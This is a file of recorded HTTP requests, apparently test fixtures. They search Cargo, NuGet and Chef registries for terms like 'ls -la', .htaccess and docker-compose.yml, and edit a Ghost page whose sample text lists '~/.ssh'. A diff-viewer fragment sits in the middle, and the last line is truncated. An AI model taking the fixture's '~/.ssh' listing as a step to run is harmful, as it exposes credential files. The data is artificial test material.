{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 8dfa5583-4005-4134-9343-ddb4c68c125b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=python3&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: e7210054-9f40-4a58-8228-beeab1e3bb05", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=powershell&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0f3b26a8-7ca2-4b52-a9bb-c23a25c4172c", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=ls%20-la&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: d0fa60d5-6948-4149-845f-e38d340cc09a", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=.htaccess&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 8c22d5d2-1691-4488-89ca-a405dd7a15cc", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=docker-compose.yml&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: 0a1bd4b1-0009-4d1d-931d-d1c19b26dd8b", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-32
View File
@@ -533,8 +533,6 @@
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and 